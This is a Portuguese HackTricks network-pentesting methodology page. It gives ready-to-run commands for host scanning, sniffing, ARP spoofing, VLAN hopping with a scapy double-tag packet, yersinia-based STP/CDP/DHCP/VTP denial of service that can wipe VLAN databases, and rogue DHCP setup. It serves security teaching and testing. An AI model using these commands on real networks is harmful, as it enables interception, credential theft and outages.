hacktricks/generic-methodologies-and-resources/pentesting-network/README.md

# Pentesting de Rede

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica para bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

## Descobrindo hosts do exterior

Esta será uma **seção breve** sobre como encontrar **IPs respondendo** da **Internet**.\
Nesta situação, você tem algum **escopo de IPs** (talvez até vários **intervalos**) e você só quer descobrir **quais IPs estão respondendo**.

### ICMP

Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\
Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é apenas enviar um **pedido de eco** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para o comum pedido de eco ICMP e resposta).
```bash
ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```
### Descoberta de Portas TCP

É muito comum encontrar todos os tipos de pacotes ICMP sendo filtrados. Então, tudo o que você pode fazer para verificar se um host está ativo é **tentar encontrar portas abertas**. Cada host tem **65535 portas**, então, se você tem um escopo "grande", você **não pode** testar se **cada porta** de cada host está aberta ou não, isso levaria muito tempo.\
Então, o que você precisa é de um **scanner de portas rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) e uma lista das **portas mais usadas:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
Você também pode realizar esta etapa com `nmap`, mas é mais lento e, às vezes, o `nmap` tem problemas para identificar hosts ativos.

### Descoberta de Porta HTTP

Isso é apenas uma descoberta de porta TCP útil quando você quer **se concentrar na descoberta de serviços HTTP**:
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Descoberta de Porta UDP

Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **nenhum dado** a um pacote de sondagem UDP vazio regular, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está rodando, você deve tentar o mais provável baseado no número da porta:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
A linha nmap proposta anteriormente testará as **top 1000 portas UDP** em cada host dentro do intervalo **/24**, mas mesmo assim levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Isso enviará estas **sondas UDP** para a **porta esperada** (para um intervalo /24 isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._

### Descoberta de Porta SCTP
```bash
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
```
## Teste de Penetração em Wifi

Aqui você pode encontrar um ótimo guia de todos os ataques Wifi conhecidos no momento da escrita:

{% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/)
{% endcontent-ref %}

## Descobrindo hosts por dentro

Se você está dentro da rede, uma das primeiras coisas que você vai querer fazer é **descobrir outros hosts**. Dependendo de **quanto ruído** você pode/quer fazer, diferentes ações podem ser realizadas:

### Passivo

Você pode usar estas ferramentas para descobrir passivamente hosts dentro de uma rede conectada:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
```
### Ativo

Observe que as técnicas comentadas em [_**Descobrindo hosts de fora**_](./#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
No entanto, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
```bash
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
```
### ICMP Ativo

Note que as técnicas comentadas em _Descobrindo hosts de fora_ ([_**ICMP**_](./#icmp)) também podem ser **aplicadas aqui**.\
Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:

* Se você **pingar** um **endereço de broadcast de sub-rede**, o ping deve chegar a **cada host** e eles poderiam **responder** a **você**: `ping -b 10.10.5.255`
* Pingando o **endereço de broadcast da rede**, você poderia até encontrar hosts em **outras sub-redes**: `ping -b 255.255.255.255`
* Use as flags `-PE`, `-PP`, `-PM` do `nmap` para realizar a descoberta de hosts enviando respectivamente **ICMPv4 echo**, **timestamp**, e **solicitações de máscara de sub-rede**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`

### **Wake On Lan**

Wake On Lan é usado para **ligar** computadores através de uma **mensagem de rede**. O pacote mágico usado para ligar o computador é apenas um pacote onde um **MAC Dst** é fornecido e então é **repetido 16 vezes** dentro do mesmo pacote.\
Então, esse tipo de pacotes geralmente são enviados em um **ethernet 0x0842** ou em um **pacote UDP para a porta 9**.\
Se **nenhum \[MAC]** for fornecido, o pacote é enviado para **ethernet broadcast** (e o MAC de broadcast será o que está sendo repetido).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## Varredura de Hosts

Uma vez que você descobriu todos os IPs (externos ou internos) que deseja escanear em profundidade, diferentes ações podem ser realizadas.

### TCP

* **Porta Aberta**: _SYN --> SYN/ACK --> RST_
* **Porta Fechada**: _SYN --> RST/ACK_
* **Porta Filtrada**: _SYN --> \[SEM RESPOSTA]_
* **Porta Filtrada**: _SYN --> mensagem ICMP_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```
### UDP

Existem 2 opções para escanear uma porta UDP:

* Enviar um **pacote UDP** e verificar a resposta _**ICMP inalcançável**_ se a porta estiver **fechada** (em vários casos o ICMP será **filtrado**, então você não receberá nenhuma informação se a porta está fechada ou aberta).
* Enviar **datagramas formatados** para provocar uma resposta de um **serviço** (por exemplo, DNS, DHCP, TFTP e outros, conforme listado em _nmap-payloads_). Se você receber uma **resposta**, então, a porta está **aberta**.

**Nmap** irá **misturar ambas** as opções usando "-sV" (escaneamentos UDP são muito lentos), mas observe que escaneamentos UDP são mais lentos que escaneamentos TCP:
```bash
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
```
### Varredura SCTP

SCTP está ao lado de TCP e UDP. Destinado a fornecer **transporte** de dados de **telefonia** sobre **IP**, o protocolo duplica muitas das características de confiabilidade do Signaling System 7 (SS7) e sustenta uma família de protocolos maior conhecida como SIGTRAN. SCTP é suportado por sistemas operacionais incluindo IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS e VxWorks.

Duas varreduras diferentes para SCTP são oferecidas pelo nmap: _-sY_ e _-sZ_
```bash
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### Evasão de IDS e IPS

{% content-ref url="ids-evasion.md" %}
[ids-evasion.md](ids-evasion.md)
{% endcontent-ref %}

### **Mais opções de nmap**

{% content-ref url="nmap-summary-esp.md" %}
[nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %}

### Revelando Endereços IP Internos

Roteadores, firewalls e dispositivos de rede mal configurados às vezes **respondem** a sondagens de rede **usando endereços de origem não públicos**. Você pode usar _tcpdump_ para **identificar pacotes** recebidos de **endereços privados** durante o teste. Neste caso, a interface _eth2_ no Kali Linux é **endereçável** a partir da **Internet pública** (Se você estiver **atrás** de um **NAT** ou de um **Firewall**, esse tipo de pacote provavelmente vai ser **filtrado**).
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing

Sniffing permite aprender detalhes de faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a infraestrutura de comutação sob estresse, atacantes podem capturar material sensível por meio de sniffing passivo de rede.

Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.

### TCPDump
```bash
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
Pode-se, também, capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a interface gráfica em tempo real.
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
```
### Bettercap
```bash
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
```
### Wireshark

Obviamente.

### Capturando credenciais

Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou uma interface ao vivo.

## Ataques LAN

### ARP spoofing

ARP Spoofing consiste em enviar ARPResponses gratuitos para indicar que o IP de uma máquina tem o MAC do nosso dispositivo. Então, a vítima mudará a tabela ARP e contatará nossa máquina toda vez que quiser se comunicar com o IP falsificado.

#### **Bettercap**
```bash
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
```
#### **Arpspoof**
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```
### Inundação de MAC - Transbordamento de CAM

Transborda a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (transmitindo todo o tráfego).
```bash
macof -i <interface>
```
Em switches modernos, essa vulnerabilidade foi corrigida.

### Ataques 802.1Q VLAN / DTP

#### Tronco Dinâmico

**DTP (Dynamic Trunking Protocol)** é um protocolo de camada de enlace projetado para fornecer um sistema de tronco automático. Com o DTP, os switches decidem qual porta funcionará em modo tronco (Trunk) e qual não funcionará. O uso de **DTP** indica **projeto de rede deficiente.** **Troncos devem ser estritamente** onde são necessários, e isso deve ser documentado.

**Por padrão, todas as portas do switch operam no modo Dynamic Auto.** Isso indica que a porta do switch está no modo de iniciação de tronco do switch vizinho. **O Pentester precisa se conectar fisicamente ao switch e enviar um quadro DTP Desirable**, o que aciona a porta para mudar para o modo tronco. O atacante pode então enumerar VLANs usando análise de quadros STP e contornar a segmentação de VLAN criando interfaces virtuais.

Muitos switches suportam o Protocolo de Tronco Dinâmico (DTP) por padrão, no entanto, o que um adversário pode abusar para **emular um switch e receber tráfego de todas as VLANs**. A ferramenta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) pode farejar uma interface e **relata se o switch está no modo Padrão, tronco, dinâmico, automático ou modo de acesso** (este é o único que evitaria o salto de VLAN). A ferramenta indicará se o switch é vulnerável ou não.

Se foi descoberto que a rede é vulnerável, você pode usar _**Yersinia**_ para lançar um "**habilitar tronco**" usando o protocolo "**DTP**" e você poderá ver pacotes de rede de todas as VLANs.
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode
```
![](<../../.gitbook/assets/image (646) (1).png>)

Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py). Não interrompa o script sob nenhuma circunstância. Ele injeta DTP Desirable a cada três segundos. **Os canais de tronco criados dinamicamente no switch só permanecem ativos por cinco minutos. Após cinco minutos, o tronco é desfeito.**
```
sudo python3 DTPHijacking.py --interface eth0
```
Gostaria de salientar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que diz à porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.

Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.**

<figure><img src="../../.gitbook/assets/image (18) (1).png" alt=""><figcaption></figcaption></figure>

#### Atacando VLANs específicas

Uma vez que você conhece os IDs das VLANs e os valores dos IPs, você pode **configurar uma interface virtual para atacar uma VLAN específica**.\
Se o DHCP não estiver disponível, então use _ifconfig_ para definir um endereço IP estático.
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
```

```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
```

```bash
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```
#### Saltador Automático de VLAN

O ataque discutido de **Dynamic Trunking e criação de interfaces virtuais e descoberta de hosts dentro** de outras VLANs é **realizado automaticamente** pela ferramenta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)

#### Duplo Etiquetamento

Se um atacante conhece o valor do **MAC, IP e VLAN ID do host vítima**, ele poderia tentar **etiquetar duplamente um quadro** com sua VLAN designada e a VLAN da vítima e enviar um pacote. Como a **vítima não será capaz de se conectar de volta** com o atacante, a **melhor opção para o atacante é comunicar-se via UDP** com protocolos que podem realizar algumas ações interessantes (como SNMP).

Outra opção para o atacante é iniciar um **varredura de portas TCP spoofing um IP controlado pelo atacante e acessível pela vítima** (provavelmente através da internet). Então, o atacante poderia cheirar no segundo host de sua propriedade se ele recebe alguns pacotes da vítima.

![](<../../.gitbook/assets/image (635) (1).png>)

Para realizar este ataque você pode usar scapy: `pip install scapy`
```python
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
```
#### Bypass de Segmentação de VLAN Lateral <a href="#d679" id="d679"></a>

Se você tem **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Simplesmente **mude a porta para o modo trunk** (também conhecido como trunk), crie interfaces virtuais com os IDs das VLANs alvo e configure um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %}

#### Bypass de VLAN Privada de Camada 3

Em redes wireless para convidados e outros ambientes, configurações de VLAN privada (também conhecidas como _isolamento de porta_) são usadas para **prevenir a interação entre pares** (ou seja, clientes **conectam-se a um ponto de acesso wireless mas não podem se comunicar entre si**). Dependendo das ACLs de rede (ou falta delas), pode ser possível enviar pacotes IP até um roteador, que então os encaminha de volta a um par vizinho.

Este ataque enviará um **pacote especialmente criado para o IP de um cliente mas com o MAC do roteador**. Então, o **roteador redirecionará o pacote para o cliente**. Como nos _Ataques de Dupla Marcação_, você pode explorar essa vulnerabilidade controlando um host acessível pela vítima.

### Ataques VTP

**VTP (VLAN Trunking Protocol)** é um protocolo projetado para gerenciar VLANs centralmente. Para acompanhar o banco de dados atual de VLANs, switches verificam números de revisão especiais. Quando qualquer atualização de tabela ocorre, o número de revisão é incrementado em um. E se um switch detecta uma configuração com um número de revisão mais alto, ele automaticamente atualiza seu banco de dados de VLAN.

#### Papéis em um domínio VTP <a href="#ebfc" id="ebfc"></a>

* **Servidor VTP.** Um switch no papel de Servidor VTP pode criar novas VLANs, deletar antigas ou mudar informações nas próprias VLANs. **Ele também gera anúncios VTP para o restante dos membros do domínio.**
* **Cliente VTP.** Um switch neste papel receberá anúncios VTP específicos de outros switches no domínio para atualizar os bancos de dados de VLAN por conta própria. Clientes são limitados em sua capacidade de criar VLANs e nem mesmo têm permissão para mudar a configuração de VLAN localmente. Em outras palavras, **acesso somente leitura.**
* **VTP Transparente.** Neste modo, o switch não participa dos processos VTP e pode administrar completamente e localmente toda a configuração de VLAN. Quando operando em modo transparente, switches apenas transmitem anúncios VTP de outros switches sem afetar sua configuração de VLAN. **Tais switches sempre terão um número de revisão zero e não podem ser atacados.**

#### Tipos de anúncio <a href="#b384" id="b384"></a>

* **Anúncio Resumido —** o anúncio VTP que o servidor VTP envia a cada **300 segundos (5 minutos).** Este anúncio armazena o nome do domínio VTP, versão do protocolo, carimbo de data/hora e valor de hash de configuração MD5.
* **Anúncio de Subconjunto —** este é o anúncio VTP que é enviado sempre que ocorre uma mudança na configuração de VLAN.
* **Pedido de Anúncio —** é um pedido do cliente VTP ao servidor VTP por uma mensagem de Anúncio Resumido. Geralmente enviado em resposta a uma mensagem que um switch detectou um Anúncio Resumido com um número de revisão de configuração mais alto.

VTP pode **ser atacado apenas de uma porta trunk,** porque **anúncios VTP são apenas transmitidos e recebidos em portas trunk.** **Portanto, quando fazendo pentesting após atacar DTP, seu próximo alvo poderia ser VTP.** Para atacar o domínio VTP você pode **usar Yersinia** para **executar uma injeção VTP que apagará todo o banco de dados de VLAN** e assim paralisar a rede.

{% hint style="info" %}
O protocolo VTP tem até **três versões**. Neste post o ataque é contra a primeira versão, VTPv1
{% endhint %}
```bash
yersinia -G #For graphic mode
```
Para apagar toda a base de dados VLAN, selecione a opção **deletar todas as VLANs VTP**

<figure><img src="../../.gitbook/assets/image (22) (2).png" alt=""><figcaption></figcaption></figure>

### Ataques STP

**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que tenha sucesso em um ataque STP.**

#### **STP BPDU DoS**

Enviando muitos BPDUs TCP (Notificação de Mudança de Topologia) ou Conf (os BPDUs que são enviados quando a topologia é criada), os switches são sobrecarregados e param de funcionar corretamente.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **Ataque STP TCP**

Quando um TCP é enviado, a tabela CAM dos switches será apagada em 15s. Então, se você estiver enviando continuamente esse tipo de pacotes, a tabela CAM será reiniciada continuamente (ou a cada 15 segundos) e quando ela é reiniciada, o switch se comporta como um hub.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **Ataque STP Root**

O atacante simula o comportamento de um switch para se tornar a raiz STP da rede. Assim, mais dados passarão por ele. Isso é interessante quando você está conectado a dois switches diferentes.\
Isso é feito enviando pacotes BPDUs CONF dizendo que o valor de **priority** é menor do que a prioridade real do switch raiz atual.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**Se o atacante estiver conectado a 2 switches, ele pode ser a raiz da nova árvore e todo o tráfego entre esses switches passará por ele** (um ataque MITM será realizado).
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### Ataques CDP

O protocolo CISCO Discovery Protocol é o protocolo usado pelos dispositivos CISCO para se comunicarem entre si, **descobrir quem está ativo** e quais recursos eles possuem.

#### Coleta de Informações <a href="#0e0f" id="0e0f"></a>

**Por padrão, o CDP envia anúncios para todas as suas portas.** Mas e se um intruso se conectar a uma porta no mesmo switch? Usando um analisador de rede, seja **Wireshark,** **tcpdump** ou **Yersinia**, ele poderia extrair **informações valiosas sobre o próprio dispositivo**, desde seu modelo até a versão do Cisco IOS. Usando essas informações, ele poderá enumerar a mesma versão do Cisco IOS e encontrar a vulnerabilidade para então explorá-la.

#### Ataque de Inundação CDP <a href="#0d6a" id="0d6a"></a>

Você pode realizar um ataque DoS a um switch CISCO esgotando a memória do dispositivo simulando dispositivos CISCO reais.
```bash
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
# Or you could use the GUI
sudo yersinia -G
```
Selecione a opção **flooding CDP table** e inicie o ataque. A CPU do switch será sobrecarregada, assim como a tabela de vizinhos CDP, **resultando em "paralisia de rede".**

<figure><img src="../../.gitbook/assets/image (1) (5) (1).png" alt=""><figcaption></figcaption></figure>

#### Ataque de Personificação CDP
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
Você também pode usar [**scapy**](https://github.com/secdev/scapy/). Certifique-se de instalá-lo com o pacote `scapy/contrib`.

### Ataques VoIP

Embora destinados ao uso pelos telefones Voice over Internet Protocol (VoIP) dos funcionários, os dispositivos VoIP modernos estão cada vez mais integrados com dispositivos IoT. Muitos funcionários agora podem destrancar portas usando um número de telefone especial, controlar o termostato da sala...

A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) imita o comportamento de um telefone VoIP em ambientes Cisco, Avaya, Nortel e Alcatel-Lucent. Ele descobre automaticamente o ID VLAN correto para a rede de voz usando um dos protocolos de descoberta de dispositivos que suporta, como o Cisco Discovery Protocol (CDP), o Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED) e ARP 802.1Q.

**VoIP Hopper** suporta **três** modos CDP. O modo **sniff** inspeciona os pacotes de rede e tenta localizar o ID VLAN. Para usá-lo, defina o parâmetro **`-c`** como `0`. O modo **spoof** gera pacotes personalizados semelhantes aos que um dispositivo VoIP real transmitiria na rede corporativa. Para usá-lo, defina o parâmetro **`-c`** como **`1`**. O modo spoof com um **pacote pré-fabricado** envia os mesmos pacotes que um telefone IP Cisco 7971G-GE. Para usá-lo, defina o parâmetro **`-c`** como **`2`**.

Usamos o último método porque é a abordagem mais rápida. O parâmetro **`-i`** especifica a **interface** **de rede** do atacante, e o parâmetro **`-E`** especifica o **nome do dispositivo VOIP** que está sendo imitado. Escolhemos o nome SEP001EEEEEEEEE, que é compatível com o formato de nomeação da Cisco para telefones VoIP. O formato consiste na palavra "SEP" seguida por um endereço MAC. Em ambientes corporativos, você pode imitar um dispositivo VoIP existente olhando para o rótulo MAC na parte de trás do telefone; pressionando o botão Configurações e selecionando a opção Informações do Modelo na tela do telefone; ou conectando o cabo Ethernet do dispositivo VoIP ao seu laptop e observando as solicitações CDP do dispositivo usando o Wireshark.
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
Se a ferramenta executar com sucesso, a **rede VLAN atribuirá um endereço IPv4 ao dispositivo do atacante**.

### Ataques DHCP

#### Enumeração
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**

**Dois tipos de DoS** podem ser realizados contra servidores DHCP. O primeiro consiste em **simular hosts falsos suficientes para usar todos os endereços IP possíveis**.\
Esse ataque só funcionará se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por exemplo, isso **não é possível em redes Wifi**.

Outra maneira de realizar um DoS DHCP é enviar um **pacote DHCP-RELEASE usando como código-fonte todos os IPs possíveis**. Então, o servidor pensará que todos terminaram de usar o IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Uma maneira mais automática de fazer isso é usando a ferramenta [DHCPing](https://github.com/kamorin/DHCPig)

Você poderia usar os ataques DoS mencionados para forçar clientes a obterem novos leases no ambiente e esgotar servidores legítimos para que eles se tornem irresponsivos. Então, quando o legítimo tentar se reconectar, **você pode fornecer valores maliciosos mencionados no próximo ataque**.

#### Definir valores maliciosos

Você pode usar o script DHCP do Responder (_/usr/share/responder/DHCP.py_) para estabelecer um servidor DHCP malicioso. Definir um gateway malicioso não é ideal, porque a conexão sequestrada é apenas half-duplex (ou seja, capturamos pacotes de saída do cliente, mas não as respostas do gateway legítimo). Assim, eu recomendaria definir um servidor DNS ou WPAD malicioso para capturar tráfego HTTP e credenciais em particular.

| Descrição                                   | Exemplo                                                                      |
| ------------------------------------------- | ---------------------------------------------------------------------------- |
| Nosso endereço IP, anunciado como gateway   | _-i 10.0.0.100_                                                              |
| O nome de domínio DNS local (opcional)      | _-d example.org_                                                             |
| Endereço IP do roteador/gateway original    | _-r 10.0.0.1_                                                                |
| Endereço IP do servidor DNS primário        | _-p 10.0.0.100_                                                              |
| Endereço IP do servidor DNS secundário (opcional) | _-s 10.0.0.1_                                                            |
| A máscara de rede local                     | _-n 255.255.255.0_                                                           |
| A interface para escutar o tráfego DHCP     | _-I eth1_                                                                    |
